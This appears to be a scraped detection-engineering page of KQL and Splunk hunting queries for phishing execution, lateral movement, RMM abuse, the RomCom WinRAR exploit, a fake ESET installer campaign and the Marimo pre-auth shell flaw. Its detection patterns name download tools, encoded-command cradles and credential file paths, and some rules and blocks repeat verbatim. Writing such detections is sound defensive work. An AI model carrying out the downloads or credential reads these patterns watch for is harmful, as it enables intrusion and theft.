drives onto-host execution, which is the actionable signal.
Pair with UC_PHISH_LINK_BYPASS (Safe Links override) and UC_PHISH_LINK_NEWDOMAIN
for orthogonal high-fidelity variants.
ATT&CKT1566.002T1204.001T1059.001
Data sourcesEmail.All_EmailWebEndpoint.ProcessesEmailEventsEmailUrlInfoUrlClickEventsDeviceProcessEvents
// Phishing-link click that drives endpoint execution within 60s.
// Far higher fidelity than "every clicked URL" — most legitimate clicks
// never spawn a non-browser child process, so the join eliminates the
// 99% of noise that makes a raw click query unactionable.
let LookbackDays = 7d;
let SuspectClicks = UrlClickEvents
| where Timestamp > ago(LookbackDays)
| where ActionType in ("ClickAllowed","ClickedThrough")
| join kind=inner (
EmailEvents
| where Timestamp > ago(LookbackDays)
| where DeliveryAction == "Delivered"
| where EmailDirection == "Inbound"
| project NetworkMessageId, Subject, SenderFromAddress, SenderFromDomain,
RecipientEmailAddress, EmailTimestamp = Timestamp
) on NetworkMessageId
| join kind=leftouter (
EmailUrlInfo | project NetworkMessageId, Url, UrlDomain
) on NetworkMessageId, Url
| project ClickTime = Timestamp, AccountUpn, IPAddress, Url, UrlDomain,
Subject, SenderFromAddress, SenderFromDomain, RecipientEmailAddress,
ActionType;
// Correlate to a non-browser child process spawned within 60 seconds on
// the recipient's device.
DeviceProcessEvents
| where Timestamp > ago(LookbackDays)
| where InitiatingProcessFileName in~ ("chrome.exe","msedge.exe","firefox.exe",
"outlook.exe","brave.exe","arc.exe")
| where FileName in~ ("powershell.exe","pwsh.exe","cmd.exe","mshta.exe",
"rundll32.exe","regsvr32.exe","wscript.exe","cscript.exe",
"bitsadmin.exe","certutil.exe","curl.exe","wget.exe")
| join kind=inner SuspectClicks on $left.AccountName == $right.AccountUpn
| where Timestamp between (ClickTime .. ClickTime + 60s)
| project ClickTime, ProcessTime = Timestamp,
DelaySec = datetime_diff('second', Timestamp, ClickTime),
DeviceName, AccountName, RecipientEmailAddress, SenderFromAddress,
Subject, Url, UrlDomain, ActionType,
FileName, ProcessCommandLine, InitiatingProcessFileName
| order by ClickTime desc
``` Phishing-link click that drives endpoint execution within 60s ```
| tstats `summariesonly` earliest(_time) AS click_time
from datamodel=Web
where Web.action="allowed"
by Web.src, Web.user, Web.dest, Web.url
| `drop_dm_object_name(Web)`
| rename user AS recipient, dest AS clicked_domain, url AS clicked_url
| join type=inner recipient
[| tstats `summariesonly` count
from datamodel=Email.All_Email
where All_Email.action="delivered" AND All_Email.url!="-"
by All_Email.recipient, All_Email.src_user, All_Email.url, All_Email.subject
| `drop_dm_object_name(All_Email)`
| rex field=url "https?://(?<email_domain>[^/]+)"
| rename recipient AS recipient]
| join type=inner src
[| tstats `summariesonly` earliest(_time) AS exec_time
values(Processes.process) AS exec_cmd, values(Processes.process_name) AS exec_proc
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("chrome.exe","msedge.exe","firefox.exe",
"outlook.exe","brave.exe","arc.exe")
AND Processes.process_name IN ("powershell.exe","pwsh.exe","cmd.exe","mshta.exe",
"rundll32.exe","regsvr32.exe","wscript.exe",
"cscript.exe","bitsadmin.exe","certutil.exe",
"curl.exe","wget.exe")
by Processes.dest, Processes.user
| `drop_dm_object_name(Processes)`
| rename dest AS src]
| eval delta_sec = exec_time - click_time
| where delta_sec >= 0 AND delta_sec <= 60
| table click_time, exec_time, delta_sec, recipient, src, src_user, subject,
clicked_domain, clicked_url, exec_proc, exec_cmd
| sort - click_time
Email attachment opened from external senderDeliveryHigh
Attachment delivery + execution by recipient — most common malware initial access.
ATT&CKT1566.001T1204.002
Data sourcesEmail.All_EmailEndpoint.ProcessesEmailAttachmentInfoDeviceProcessEvents
let LookbackDays = 7d;
let MalAttachments = EmailAttachmentInfo
| where Timestamp > ago(LookbackDays)
| project NetworkMessageId, RecipientEmailAddress,
AttachmentFileName = FileName, AttachmentSHA256 = SHA256;
DeviceProcessEvents
| where Timestamp > ago(LookbackDays)
| where InitiatingProcessFileName in~ ("OUTLOOK.EXE","winword.exe","excel.exe","powerpnt.exe")
| where FileName in~ ("cmd.exe","powershell.exe","wscript.exe","cscript.exe",
"mshta.exe","rundll32.exe","regsvr32.exe")
| join kind=inner MalAttachments on $left.AccountUpn == $right.RecipientEmailAddress
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine,
InitiatingProcessFileName, AttachmentFileName, AttachmentSHA256
| tstats `summariesonly` count
from datamodel=Email.All_Email
where All_Email.file_name!="-"
by All_Email.src_user, All_Email.recipient, All_Email.file_name, All_Email.subject
| rename All_Email.recipient as user
| join type=inner user
[| tstats `summariesonly` count
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("OUTLOOK.EXE","winword.exe","excel.exe","powerpnt.exe")
AND Processes.process_name IN ("cmd.exe","powershell.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| rename Processes.user as user]
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("winword.exe","excel.exe","powerpnt.exe","outlook.exe","onenote.exe","mspub.exe","visio.exe")
| where FileName in~ ("cmd.exe","powershell.exe","pwsh.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe","wmic.exe","bitsadmin.exe","certutil.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("winword.exe","excel.exe","powerpnt.exe","outlook.exe","onenote.exe","mspub.exe","visio.exe")
AND Processes.process_name IN ("cmd.exe","powershell.exe","pwsh.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe","wmic.exe","bitsadmin.exe","certutil.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
Remote service execution — PsExec / SMB lateral movementActions on ObjectivesHigh
psexec / paexec / smbexec / wmic /node — service install over SMB from remote host.
ATT&CKT1021.002T1569.002
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("psexec.exe","psexesvc.exe","paexec.exe","smbexec.py")
or (FileName =~ "wmic.exe" and ProcessCommandLine has "/node:")
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.process_name IN ("psexec.exe","psexesvc.exe","paexec.exe","smbexec.py")
OR (Processes.process_name="wmic.exe" AND Processes.process="*/node:*")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
Browser-pasted PowerShell launched from explorer/Run dialog — ClickFix social engineering.
ATT&CKT1204.004T1059.001
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("explorer.exe","RuntimeBroker.exe")
| where FileName in~ ("powershell.exe","pwsh.exe","mshta.exe")
| where ProcessCommandLine matches regex @"(?i)(iex|invoke-expression|frombase64|downloadstring|hxxp|curl |wget )"
| project Timestamp, DeviceName, AccountName, ProcessCommandLine, InitiatingProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("explorer.exe","RuntimeBroker.exe")
AND Processes.process_name IN ("powershell.exe","pwsh.exe","mshta.exe")
AND (Processes.process="*iex*" OR Processes.process="*Invoke-Expression*"
OR Processes.process="*FromBase64*" OR Processes.process="*DownloadString*"
OR Processes.process="*hxxp*" OR Processes.process="*curl*" OR Processes.process="*wget*")
by Processes.dest, Processes.user, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
RMM tool installed by non-IT user — remote-access utility for hands-on-keyboardInstallationHigh
ConnectWise / AnyDesk / TeamViewer / ScreenConnect / Atera installed outside IT change windows = common tradecraft for ransomware affiliates and IT-helpdesk impersonators.
ATT&CKT1219
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("AnyDesk.exe","TeamViewer.exe","TeamViewer_Service.exe",
"ScreenConnect.ClientService.exe","ConnectWiseControl.ClientService.exe",
"atera_agent.exe","SplashtopStreamer.exe","RustDesk.exe","NinjaOne.exe")
or FileName matches regex @"(?i)kaseya.*\.exe"
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.process_name IN ("AnyDesk.exe","TeamViewer.exe","TeamViewer_Service.exe",
"ScreenConnect.ClientService.exe","ConnectWiseControl.ClientService.exe",
"atera_agent.exe","SplashtopStreamer.exe","RustDesk.exe","NinjaOne.exe","kaseya*.exe")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
[LLM] RomCom CVE-2025-8088 WinRAR ADS path-traversal drops payload into StartupDeliveryHigh
Hunts the RomCom CVE-2025-8088 WinRAR zero-day exploitation chain reported by ESET (Jul 2025), where a malicious RAR uses alternate data streams to perform path traversal and silently drop a payload into the per-user Startup folder during extraction. Detects WinRAR/UnRAR processes writing executables/LNKs to Startup, plus the specific archive filenames and SHA-1 hashes confirmed by ESET and SOC Prime.
Rationale: Uses the exact RAR filenames and SHA-1 hashes published by ESET WeLiveSecurity and republished by SOC Prime, plus the CVE-2025-8088 behavioural signature: a WinRAR-family process writing into the Startup folder (the path-traversal sink the attacker abuses via alternate data streams). Combined the IOC list with behaviour so the rule survives even if the actor rotates filenames.
Cross-checked against:
• https://www.welivesecurity.com/en/eset-research/update-winrar-tools-now-romcom-and-others-exploiting-zero-day-vulnerability/
• https://socprime.com/blog/detect-cve-2025-8088-exploitation-for-romcom-delivery/
• https://www.helpnetsecurity.com/2025/08/12/winrar-zero-day-cve-2025-8088-attacks/
ATT&CKT1203T1547.001T1564.004T1566.001
Data sourcesEndpoint.FilesystemEndpoint.Processes
let romcom_archives = dynamic(["Adverse_Effect_Medical_Records_2025.rar","cv_submission.rar","JobDocs_July2025.rar","Recruitment_Dossier_July_2025.rar"]);
let romcom_hashes = dynamic(["371a5b8ba86fbcab80d4e0087d2aa0d8ffddc70b","d43f49e6a586658b5422edc647075ffd405d6741"]);
let rar_procs = dynamic(["winrar.exe","rar.exe","unrar.exe","7zfm.exe","winrar.sfx.exe"]);
DeviceFileEvents
| where (InitiatingProcessFileName in~ (rar_procs)
and FolderPath has @"\Start Menu\Programs\Startup\"
and FileName endswith_cs ".lnk" or FileName endswith_cs ".exe" or FileName endswith_cs ".dll" or FileName endswith_cs ".cmd" or FileName endswith_cs ".bat")
or FileName in~ (romcom_archives)
or tolower(SHA1) in (romcom_hashes)
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, InitiatingProcessCommandLine, FileName, FolderPath, SHA1, SHA256, ActionType
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime values(Filesystem.file_name) as file_name values(Filesystem.file_path) as file_path values(Filesystem.file_hash) as file_hash from datamodel=Endpoint.Filesystem where (Filesystem.process_name IN ("WinRAR.exe","Rar.exe","UnRAR.exe","7zFM.exe","WinRAR.SFX.exe") AND (Filesystem.file_path="*\\Start Menu\\Programs\\Startup\\*" OR Filesystem.file_path="*\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\*") AND (Filesystem.file_name="*.lnk" OR Filesystem.file_name="*.exe" OR Filesystem.file_name="*.dll" OR Filesystem.file_name="*.cmd" OR Filesystem.file_name="*.bat")) OR Filesystem.file_name IN ("Adverse_Effect_Medical_Records_2025.rar","cv_submission.rar","JobDocs_July2025.rar","Recruitment_Dossier_July_2025.rar") OR Filesystem.file_hash IN ("371A5B8BA86FBCAB80D4E0087D2AA0D8FFDDC70B","D43F49E6A586658B5422EDC647075FFD405D6741") by Filesystem.dest Filesystem.user Filesystem.process_name | `drop_dm_object_name(Filesystem)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] InedibleOchotense fake-ESET installer beaconing to spoofed esetsmart/esetscanner/esetremover domainsInstallationHigh
Hunts the InedibleOchotense (Sandworm-aligned) campaign reported by ESET in which spearphishing emails and Signal messages lure Ukrainian targets to a trojanized ESET AV Remover installer hosted on look-alike domains, dropping the Kalambur (a.k.a. SUMBUR) C# backdoor. Detects DNS/HTTP/TLS to the three confirmed spoofed domains plus Kalambur's post-install fingerprint (RDP enablement on TCP/3389 and OpenSSH installation initiated from an ESET-branded installer process tree).
Rationale: Uses the three spoofed ESET-branded domains confirmed by ESET WeLiveSecurity and The Hacker News reporting on InedibleOchotense, plus Kalambur's documented post-exploitation fingerprint (enables RDP via fDenyTSConnections=0 on 3389 and installs OpenSSH for persistence, with Tor for C2). Combining the lookalike-domain hit with a process tree rooted in an ESET-named installer that flips RDP or installs OpenSSH yields very high fidelity in any environment that does not legitimately deploy ESET via these specific binaries.
Cross-checked against:
• https://thehackernews.com/2025/11/trojanized-eset-installers-drop.html
• https://www.welivesecurity.com/en/eset-research/eset-apt-activity-report-q2-2025-q3-2025/
• https://www.helpnetsecurity.com/2025/11/06/global-apt-activity-report-2025/
ATT&CKT1036.005T1566.002T1219T1021.001T1090.003
Data sourcesNetwork_Resolution.DNSWeb.WebEndpoint.ProcessesEndpoint.Registry
let spoofed = dynamic(["esetsmart.com","esetscanner.com","esetremover.com"]);
let net = DeviceNetworkEvents
| where RemoteUrl has_any (spoofed) or tolower(RemoteUrl) endswith "esetsmart.com" or tolower(RemoteUrl) endswith "esetscanner.com" or tolower(RemoteUrl) endswith "esetremover.com"
| project Timestamp, DeviceName, InitiatingProcessFileName, InitiatingProcessCommandLine, RemoteUrl, RemoteIP, RemotePort, ActionType;
let kalambur_post = DeviceProcessEvents
| where InitiatingProcessFileName matches regex @"(?i)^eset(smart|scanner|remover|avremover|onlinescanner).*\.exe$"
or InitiatingProcessParentFileName matches regex @"(?i)^eset(smart|scanner|remover).*\.exe$"
| where ProcessCommandLine has_any ("fDenyTSConnections","Add-WindowsCapability","OpenSSH","sshd","netsh advfirewall firewall add rule","3389","Tor")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FileName, ProcessCommandLine;
let rdp_reg = DeviceRegistryEvents
| where RegistryKey has @"\CurrentControlSet\Control\Terminal Server" and RegistryValueName == "fDenyTSConnections" and RegistryValueData == "0"
| where InitiatingProcessFileName matches regex @"(?i)^eset(smart|scanner|remover).*\.exe$"
| project Timestamp, DeviceName, InitiatingProcessFileName, RegistryKey, RegistryValueName, RegistryValueData;
union net, kalambur_post, rdp_reg
(| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Network_Resolution.DNS where DNS.query IN ("esetsmart.com","esetscanner.com","esetremover.com","*.esetsmart.com","*.esetscanner.com","*.esetremover.com") by DNS.src DNS.query DNS.answer | `drop_dm_object_name(DNS)`)
| append [| tstats `summariesonly` count from datamodel=Web.Web where Web.url IN ("*esetsmart.com*","*esetscanner.com*","*esetremover.com*") by Web.src Web.dest Web.url Web.user | `drop_dm_object_name(Web)`]
| append [| tstats `summariesonly` count from datamodel=Endpoint.Processes where Processes.parent_process_name IN ("ESETAVRemover.exe","ESETOnlineScanner.exe","esetsmart*.exe","esetscanner*.exe","esetremover*.exe") AND (Processes.process_name IN ("reg.exe","powershell.exe","cmd.exe","sc.exe","netsh.exe","ssh.exe","sshd.exe") OR Processes.process="*fDenyTSConnections*" OR Processes.process="*OpenSSH*" OR Processes.process="*Add-WindowsCapability*OpenSSH*" OR Processes.process="*Tor*") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process | `drop_dm_object_name(Processes)`]
Exploitation. Triggering the exploit — vulnerability/macro/trust abuse to execute code.
Installation. Establishing persistence on the host — backdoor, service, scheduled task, registry key. → RMM tool installed by non-IT user — remote-access utility for hands-on-keyboard
Command & Control. Beacon to attacker infrastructure for control and tasking.
Actions on Objectives. Lateral movement, credential dumping, data theft, ransomware, sabotage.
RMM tool installed by non-IT user — remote-access utility for hands-on-keyboardInstallationHigh
ConnectWise / AnyDesk / TeamViewer / ScreenConnect / Atera installed outside IT change windows = common tradecraft for ransomware affiliates and IT-helpdesk impersonators.
ATT&CKT1219
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("AnyDesk.exe","TeamViewer.exe","TeamViewer_Service.exe",
"ScreenConnect.ClientService.exe","ConnectWiseControl.ClientService.exe",
"atera_agent.exe","SplashtopStreamer.exe","RustDesk.exe","NinjaOne.exe")
or FileName matches regex @"(?i)kaseya.*\.exe"
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.process_name IN ("AnyDesk.exe","TeamViewer.exe","TeamViewer_Service.exe",
"ScreenConnect.ClientService.exe","ConnectWiseControl.ClientService.exe",
"atera_agent.exe","SplashtopStreamer.exe","RustDesk.exe","NinjaOne.exe","kaseya*.exe")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
2025-11-040 use cases0 techniques1 kill-chain phase detected
Think you could never fall for an online scam? Think again. Here's how scammers could exploit psychology to deceive you – and what you can do to stay one step ahead
Click any ATT&CK pill below to open it on the Matrix
Phase 1
Reconnaissance
—
Phase 2
Weaponization
—
Phase 3
Delivery
—
Phase 4
Exploitation
Detected
Phase 5
Installation
Likely
Phase 6
Command & Control
Likely
Phase 7
Actions on Objectives
—
Reconnaissance. Attacker researches the target — OSINT, scanning, enumeration.
2025-11-044 use cases1 technique3 kill-chain phases detected
CWP Control Web Panel (formerly CentOS Web Panel) contains an OS command Injection vulnerability that allows unauthenticated remote code execution via shell metacharacters in the t_total parameter in a filemanager changePerm request. A valid non-root username must be known. Vendor: CWP, Product: Control Web Panel. Federal patch due: 2025-11-25.
CVEsCVE-2025-48703
ATT&CKT1190
Click any ATT&CK pill below to open it on the Matrix
Match vulnerability scanner output to the CVE(s) named in the article.
ATT&CKT1190
Data sourcesVulnerabilitiesDeviceInfoDeviceTvmSoftwareVulnerabilities
DeviceTvmSoftwareVulnerabilities
| where CveId in~ ("CVE-2025-48703")
| join kind=inner DeviceInfo on DeviceId
| project DeviceName, OSPlatform, CveId, VulnerabilitySeverityLevel, RecommendedSecurityUpdate
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Vulnerabilities
where Vulnerabilities.signature IN ("CVE-2025-48703")
by Vulnerabilities.dest, Vulnerabilities.signature, Vulnerabilities.severity, Vulnerabilities.cve
| `drop_dm_object_name(Vulnerabilities)`
| sort - severity
[LLM] Marimo CVE-2026-39987: WebSocket upgrade to unauthenticated /terminal/ws endpointExploitationHigh
Detects inbound HTTP/WebSocket requests to the Marimo /terminal/ws path on the default port 2718. The vulnerable endpoint skips validate_auth() and grants a full PTY shell on a successful upgrade — any external hit on this URL is high-fidelity exploitation evidence per the GitHub advisory GHSA-2679-6mx9-h9xc.
Rationale: The vulnerable path /terminal/ws and default port 2718 are explicitly named in the marimo GHSA-2679-6mx9-h9xc advisory; status 101 is the WebSocket upgrade response — combined with a non-RFC1918 source and a near-simultaneous shell child of marimo, FPs are negligible.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
ATT&CKT1190T1059.004
Data sourcesWebNetwork_Traffic.All_Traffic
DeviceNetworkEvents
| where ActionType in ("InboundConnectionAccepted","ConnectionAccepted")
| where LocalPort == 2718
| where InitiatingProcessFileName has_any ("marimo","python","python3","uvicorn") or InitiatingProcessCommandLine has "marimo"
| where RemoteIPType !in ("Loopback","Private")
| project Timestamp, DeviceName, RemoteIP, RemotePort, LocalPort, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessAccountName
| join kind=leftouter (DeviceProcessEvents
| where InitiatingProcessFileName has "marimo"
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| project ShellTime=Timestamp, DeviceName, ShellCmd=ProcessCommandLine, ShellPid=ProcessId) on DeviceName
| where ShellTime between (Timestamp .. Timestamp + 2m)
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Web.http_method) as method values(Web.http_user_agent) as ua values(Web.status) as status values(Web.url) as url from datamodel=Web where Web.url="*/terminal/ws*" (Web.dest_port=2718 OR Web.url="*marimo*") by Web.src Web.dest Web.dest_port
| `drop_dm_object_name(Web)`
| where status="101" OR isnull(status)
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: marimo process spawning interactive shell childExploitationHigh
Hunts the post-exploitation primitive of CVE-2026-39987 — successful WebSocket exploitation gives the attacker a full PTY shell whose immediate parent is the marimo Python service. A marimo binary spawning sh/bash/dash/zsh as a child is the direct effect of the bug and is not part of normal notebook execution flow.
Rationale: The Endor Labs and Sysdig writeups confirm exploitation lands as a PTY shell whose immediate ancestor is the marimo service process; in normal operation marimo executes Python kernels, not /bin/sh. Direct lineage marimo→sh is therefore both rare and a deterministic exploit signal.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1059.004T1190
Data sourcesEndpoint.Processes
DeviceProcessEvents
| where InitiatingProcessFileName == "marimo"
or InitiatingProcessCommandLine has "marimo edit"
or (InitiatingProcessFileName in ("python","python3") and InitiatingProcessCommandLine has "marimo")
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| where ProcessCommandLine !has "marimo run" // ignore legitimate notebook subprocess wrappers if any
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessId, ProcessId
| extend AlertTitle = "Marimo CVE-2026-39987 PTY shell spawn"
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as process values(Processes.process_id) as pid values(Processes.parent_process) as parent_process from datamodel=Endpoint.Processes where (Processes.parent_process_name="marimo" OR Processes.parent_process="*marimo edit*" OR Processes.parent_process="*marimo*--host*") Processes.process_name IN ("sh","bash","dash","zsh","ash","busybox") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.parent_process_id
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: credential & SSH key theft from marimo-parented shellActions on ObjectivesHigh
Hunts the documented Sysdig post-exploit objective — within 3 minutes of landing the PTY shell, the operator harvested .env files, SSH private keys, and cloud credentials. Detects any marimo descendant process touching common credential files, capturing the specific TTP reported in this campaign.
Rationale: Sysdig publicly reported the operator's specific objective in this campaign — .env credentials and SSH key exfiltration completed in <3 min. Pinning the search to marimo-descended shells plus the named credential paths makes this far higher fidelity than a generic credential-access rule and directly catches the documented TTP.
Cross-checked against:
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1552.001T1552.004T1041
Data sourcesEndpoint.ProcessesEndpoint.Filesystem
let MarimoShells = DeviceProcessEvents
| where InitiatingProcessFileName == "marimo" or InitiatingProcessCommandLine has "marimo edit"
| where FileName in ("sh","bash","dash","zsh","ash")
| project DeviceId, DeviceName, ShellPid=ProcessId, ShellTime=Timestamp;
DeviceProcessEvents
| where InitiatingProcessFileName in ("sh","bash","dash","zsh","ash","busybox","marimo")
| where ProcessCommandLine has_any (".env","/.ssh/id_","/.ssh/authorized_keys","/.aws/credentials",".netrc","id_rsa","id_ed25519","kubeconfig")
or FileName in ("cat","less","more","tar","base64","curl","wget","scp","find","grep")
and ProcessCommandLine has_any (".env",".ssh",".aws","credentials")
| join kind=inner MarimoShells on DeviceId
| where Timestamp between (ShellTime .. ShellTime + 10m)
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessCommandLine, ShellTime, ShellPid
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as cmdline values(Processes.parent_process_name) as parent values(Processes.process_name) as proc from datamodel=Endpoint.Processes where (Processes.parent_process_name IN ("marimo","sh","bash","dash","zsh") OR Processes.parent_process="*marimo*") (Processes.process="*.env*" OR Processes.process="*/.ssh/id_*" OR Processes.process="*/.ssh/authorized_keys*" OR Processes.process="*/.aws/credentials*" OR Processes.process="*/.netrc*" OR Processes.process="*id_rsa*" OR Processes.process="*id_ed25519*") by Processes.dest Processes.user Processes.process_name Processes.parent_process_name
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
2025-11-044 use cases0 techniques3 kill-chain phases detected
Gladinet CentreStack and Triofox contains a files or directories accessible to external parties vulnerability that allows unintended disclosure of system files. Vendor: Gladinet, Product: CentreStack and Triofox. Federal patch due: 2025-11-25.
CVEsCVE-2025-11371
Click any ATT&CK pill below to open it on the Matrix
Match vulnerability scanner output to the CVE(s) named in the article.
ATT&CKT1190
Data sourcesVulnerabilitiesDeviceInfoDeviceTvmSoftwareVulnerabilities
DeviceTvmSoftwareVulnerabilities
| where CveId in~ ("CVE-2025-11371")
| join kind=inner DeviceInfo on DeviceId
| project DeviceName, OSPlatform, CveId, VulnerabilitySeverityLevel, RecommendedSecurityUpdate
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Vulnerabilities
where Vulnerabilities.signature IN ("CVE-2025-11371")
by Vulnerabilities.dest, Vulnerabilities.signature, Vulnerabilities.severity, Vulnerabilities.cve
| `drop_dm_object_name(Vulnerabilities)`
| sort - severity
[LLM] Marimo CVE-2026-39987: WebSocket upgrade to unauthenticated /terminal/ws endpointExploitationHigh
Detects inbound HTTP/WebSocket requests to the Marimo /terminal/ws path on the default port 2718. The vulnerable endpoint skips validate_auth() and grants a full PTY shell on a successful upgrade — any external hit on this URL is high-fidelity exploitation evidence per the GitHub advisory GHSA-2679-6mx9-h9xc.
Rationale: The vulnerable path /terminal/ws and default port 2718 are explicitly named in the marimo GHSA-2679-6mx9-h9xc advisory; status 101 is the WebSocket upgrade response — combined with a non-RFC1918 source and a near-simultaneous shell child of marimo, FPs are negligible.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
ATT&CKT1190T1059.004
Data sourcesWebNetwork_Traffic.All_Traffic
DeviceNetworkEvents
| where ActionType in ("InboundConnectionAccepted","ConnectionAccepted")
| where LocalPort == 2718
| where InitiatingProcessFileName has_any ("marimo","python","python3","uvicorn") or InitiatingProcessCommandLine has "marimo"
| where RemoteIPType !in ("Loopback","Private")
| project Timestamp, DeviceName, RemoteIP, RemotePort, LocalPort, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessAccountName
| join kind=leftouter (DeviceProcessEvents
| where InitiatingProcessFileName has "marimo"
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| project ShellTime=Timestamp, DeviceName, ShellCmd=ProcessCommandLine, ShellPid=ProcessId) on DeviceName
| where ShellTime between (Timestamp .. Timestamp + 2m)
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Web.http_method) as method values(Web.http_user_agent) as ua values(Web.status) as status values(Web.url) as url from datamodel=Web where Web.url="*/terminal/ws*" (Web.dest_port=2718 OR Web.url="*marimo*") by Web.src Web.dest Web.dest_port
| `drop_dm_object_name(Web)`
| where status="101" OR isnull(status)
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: marimo process spawning interactive shell childExploitationHigh
Hunts the post-exploitation primitive of CVE-2026-39987 — successful WebSocket exploitation gives the attacker a full PTY shell whose immediate parent is the marimo Python service. A marimo binary spawning sh/bash/dash/zsh as a child is the direct effect of the bug and is not part of normal notebook execution flow.
Rationale: The Endor Labs and Sysdig writeups confirm exploitation lands as a PTY shell whose immediate ancestor is the marimo service process; in normal operation marimo executes Python kernels, not /bin/sh. Direct lineage marimo→sh is therefore both rare and a deterministic exploit signal.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1059.004T1190
Data sourcesEndpoint.Processes
DeviceProcessEvents
| where InitiatingProcessFileName == "marimo"
or InitiatingProcessCommandLine has "marimo edit"
or (InitiatingProcessFileName in ("python","python3") and InitiatingProcessCommandLine has "marimo")
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| where ProcessCommandLine !has "marimo run" // ignore legitimate notebook subprocess wrappers if any
